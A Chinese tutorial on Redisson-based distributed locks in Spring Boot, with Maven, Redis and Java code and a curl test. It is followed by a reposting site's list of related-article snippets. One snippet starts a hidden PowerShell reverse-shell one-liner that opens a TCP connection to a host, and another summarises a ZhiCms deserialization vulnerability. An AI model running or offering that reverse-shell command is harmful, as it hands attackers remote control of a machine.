如何正确使用Redisson实现分布式锁

分布式锁主要用于保证在分布式系统中,对共享资源的互斥访问,防止多个进程同时操作造成数据不一致。Redis实现分布式锁具备高性能和高可靠性的优势。接下来,我将详细描述如何在Spring Boot项目中使用Redis实现分布式锁。

常见的共享资源举例

1.用户的余额信息
2.商品的库存数量
3.你觉得两个线程同时操作会出问题的字段

依赖配置

首先,在Spring Boot项目中添加Redis相关的依赖。在pom.xml中添加以下内容:

<dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.redisson</groupId><artifactId>redisson-spring-boot-starter</artifactId><version>3.15.6</version></dependency>
</dependencies>

在这个示例中,我们使用了Redisson库,这是一个较为成熟的Redis客户端,它在实现分布式锁时提供了简便的API。

Redis 配置

application.ymlapplication.properties文件中配置Redis连接信息:

spring:redis:host: localhostport: 6379

配置Redisson客户端

创建一个配置类,用于初始化Redisson客户端:

import org.redisson.api.RedissonClient;
import org.redisson.config.Config;
import org.redisson.spring.starter.RedissonAutoConfiguration;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;@Configuration
public class RedissonConfig {@Beanpublic RedissonClient redissonClient() {Config config = new Config();config.useSingleServer().setAddress("redis://localhost:6379");return Redisson.create(config);}
}

分布式锁实现

创建一个服务类,用于实现分布式锁的逻辑:

import org.redisson.api.RLock;
import org.redisson.api.RedissonClient;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;import java.util.concurrent.TimeUnit;@Service
public class DistributedLockService {@Autowiredprivate RedissonClient redissonClient;private static final String LOCK_NAME = "distributed-lock";// 尝试获取分布式锁public boolean acquireLock(long waitTime, long leaseTime) {RLock lock = redissonClient.getLock(LOCK_NAME);try {// tryLock会在waitTime内等待锁的可用性,获取到锁后会持有它leaseTime时间return lock.tryLock(waitTime, leaseTime, TimeUnit.SECONDS);} catch (InterruptedException e) {Thread.currentThread().interrupt();return false;}}// 释放分布式锁public void releaseLock() {RLock lock = redissonClient.getLock(LOCK_NAME);if (lock.isHeldByCurrentThread()) {lock.unlock();}}
}

使用示例

创建一个Controller,通过HTTP接口来演示分布式锁的使用:

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;@RestController
@RequestMapping("/lock")
public class LockController {@Autowiredprivate DistributedLockService lockService;@GetMapping("/acquire")public String acquireLock() {boolean acquired = lockService.acquireLock(10, 20);if (acquired) {try {// 执行业务逻辑,假设需要10秒钟Thread.sleep(10000);return "Lock acquired and task completed";} catch (InterruptedException e) {Thread.currentThread().interrupt();return "Task was interrupted";} finally {// 释放锁lockService.releaseLock();}} else {return "Could not acquire lock";}}
}

测试分布式锁

启动Spring Boot应用,并通过以下命令测试分布式锁:

curl -X GET 'http://localhost:8080/lock/acquire'

通过查看控制台日志和返回结果,可以验证分布式锁的功能。例如,使用不同的客户端同时发送多个请求,只会有一个请求获得锁并完成业务逻辑,其它请求将无法获取锁。

注意点

  1. RedissonClient配置:确保合理配置Redisson客户端,特别是在生产环境下,需要考虑到Reids集群和主从复制的配置。
  2. 锁超时:合理设置锁的等待时间和持有时间,防止死锁和长时间占用资源。
  3. 故障恢复:考虑锁失效或服务重启等异常情况,确保系统能够正确处理这种情况,使锁尽快释放。

小结

通过上述步骤,我们使用Redisson实现了一个简单的分布式锁。在分布式系统中,合理使用Redis提供的分布式锁机制,可以有效防止并发访问共享资源造成的数据不一致问题。Redisson的API简洁而强大,推荐在实际项目中使用。

如果对分布式锁在具体业务中的应用有更多需求,可以进一步研究Redisson提供的多种锁机制,如公平锁和读写锁,以及在复杂场景中的最佳实践。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/42416.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python库(6):Pygments库

1 Pygments介绍 在软件开发和文档编写中&#xff0c;代码的可读性是至关重要的一环。无论是在博客文章、技术文档还是教程中&#xff0c;通过代码高亮可以使程序代码更加清晰和易于理解。而在Python世界中&#xff0c;Pygments库就是这样一个强大的工具&#xff0c;它能够将各…

ValueError: Expected EmbeddingFunction.__call__ to have the following signature

题意&#xff1a; 使用 langchain 时&#xff0c;特别是在定义或调用嵌入函数&#xff08;Embedding Function&#xff09;时&#xff0c;签名&#xff08;函数的参数列表和返回类型&#xff09;不符合预期 问题背景&#xff1a; When I try to pass a Chroma Client to Lang…

搭建论坛和mysql数据库安装和php安装

目录 概念 步骤 安装mysql8.0.30 安装php 安装Discuz 概念 搭建论坛的架构&#xff1a; lnmpDISCUZ l 表示linux操作系统 n 表示nginx前端页面的web服务 m 表示 mysql 数据库 用来保存用户和密码以及论坛的相关内容 p 表示php 动态请求转发的中间件 步骤 &#xff…

【C++深度探索】:继承(定义赋值兼容转换作用域派生类的默认成员函数)

✨ 愿随夫子天坛上&#xff0c;闲与仙人扫落花 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞…

动态数组(java)

package arraList;public interface AbstractArray<E> {int size();//元素数量boolean isEmpty();//是否为空boolean contains(E element);//是否包含某个元素void add(E element);//添加元素到最后面E get(int index);//返回index位置对应的元素E set(int index,E eleme…

CVE-2024-0603 漏洞复现

CVE-2024-0603 源码&#xff1a;https://gitee.com/dazensun/zhicms 开题&#xff1a; CVE-2024-0603描述&#xff1a;ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化&#xff0c;从而远程…

【c++设计模式20】行为模式5:备忘录模式(Memento Pattern)

【c++设计模式20】行为模式5:备忘录模式(Memento Pattern) 一、定义二、适用场景三、过程四、备忘录模式类图五、C++示例代码六、使用注意事项原创作者:郑同学的笔记 原创地址:https://zhengjunxue.blog.csdn.net/article/details/132766604 qq技术交流群:921273910 类型…

python脚本“文档”撰写——“诱骗”ai撰写“火火的动态”python“自动”脚本文档

“火火的动态”python“自动”脚本文档&#xff0c;又从ai学习搭子那儿“套”来&#xff0c;可谓良心质量&#x1f44d;&#x1f44d;。 (笔记模板由python脚本于2024年07月07日 15:15:33创建&#xff0c;本篇笔记适合喜欢钻研python和页面源码的coder翻阅) 【学习的细节是欢悦…

【学习笔记】程序设计竞赛

程序设计竞赛 文章目录 程序设计竞赛0x00 基本操作指南0x01 算法分析0x02 STL和基本数据结构栈队列集合map 0x03 排序插入排序归并排序&#xff08;Merge Sort)快速排序 0x04 搜索技术BFSDFS回溯与剪枝 深度迭代ID A*A star双向广搜 0x05 递推方程0x06 高级数据结构并查集二叉树…

Hi6602 恒压恒流SSR电源方案

Hi6602是一款针对离线式反激电源设计的高性能PWM控制器。Hi6602内集成有通用的原边恒流控制技术&#xff0c;可支持断续模式和连续模式工作&#xff0c;适用于恒流输出的隔离型电源应用中。Hi6602内部具有高精度65kHz开关频率振荡器&#xff0c;且带有抖频功能可优化EMI性能。H…

小笔记(1)

反弹监听 # PowerShell反弹命令 powershell -nop -W hidden -noni -ep bypass -c "$TCPClient New-Object Net.Sockets.TCPClient(127.0.0.1, 80);$NetworkStream $TCPClient.GetStream();$StreamWriter New-Object IO.StreamWriter($NetworkStream);function WriteTo…

17.优化算法之解决拓扑排序4

0.基础 1.课程表1 207. 课程表 - 力扣&#xff08;LeetCode&#xff09; class Solution {public boolean canFinish(int n, int[][] p) {// 1. 准备⼯作int[] in new int[n]; // 统计每⼀个顶点的⼊度Map<Integer, List<Integer>> edges new HashMap<>…

第六十周:文献精读

目录 摘要 Abstract 文献阅读&#xff1a;可解释多水平时间序列预测的时间融合Transformer 一、多水平预测&#xff08;Multi-horizon forecasting&#xff09; 二、过去相关研究 三、现存问题 四、提出方法 五、模型架构 1、门控残差网络(GRN) 2、变量选择网络 3、…

android中activity与fragment之间的各种跳转

我们以音乐播放、视频播放、用户注册与登录为例【Musicfragment&#xff08;音乐列表页&#xff09;、Videofragment&#xff08;视频列表页&#xff09;、MusicAvtivity&#xff08;音乐详情页&#xff09;、VideoFragment&#xff08;视频详情页&#xff09;、LoginActivity&…

开始尝试从0写一个项目--后端(二)

实现学生管理 新增学生 接口设计 请求路径&#xff1a;/admin/student 请求方法&#xff1a;POST 请求参数&#xff1a;请求头&#xff1a;Headers&#xff1a;"Content-Type": "application/json" 请求体&#xff1a;Body&#xff1a; id 学生id …

OneFormer

按照INSTALL.md无法安装natten&#xff0c;不建议复现

1120 买地攻略

solution 土地需要连续&#xff0c;联想到用前缀和。用前缀和表示前i块土地的总价钱&#xff0c;易得任意片连续的土地价格 #include<iostream> using namespace std; const int maxn 1e4 10; int main(){int n, m, price[maxn] {0}, ans 0;scanf("%d%d"…

网络状态的智能感知:WebKit 支持 Network Information API 深度解析

网络状态的智能感知&#xff1a;WebKit 支持 Network Information API 深度解析 在现代 Web 应用中&#xff0c;理解用户的网络连接状态对于提供适应性体验至关重要。Network Information API&#xff0c;一个新兴的 Web API&#xff0c;允许 Web 应用访问设备的网络信息&…

creature_template_movement

creature_template_movement CreatureId 链接 creature_template.entry HoverInitiallyEnabled creature 模板是否允许初始悬浮状态&#xff0c;取值 0 / 1 Chase creature 模板的追逐运动状态 0&#xff1a;奔跑1&#xff1a;可行走2&#xff1a;始终行走 Random creature 模板…

IT高手修炼手册(4)PowerShell命令

一、前言 PowerShell是一个功能强大的命令行界面和脚本环境&#xff0c;它允许用户管理Windows操作系统和应用程序。 二、文件和目录操作 Get-ChildItem&#xff1a;列出指定路径下的文件和文件夹。简写为ls或dir。 Copy-Item&#xff1a;复制文件和文件夹。简写为copy或cp。 M…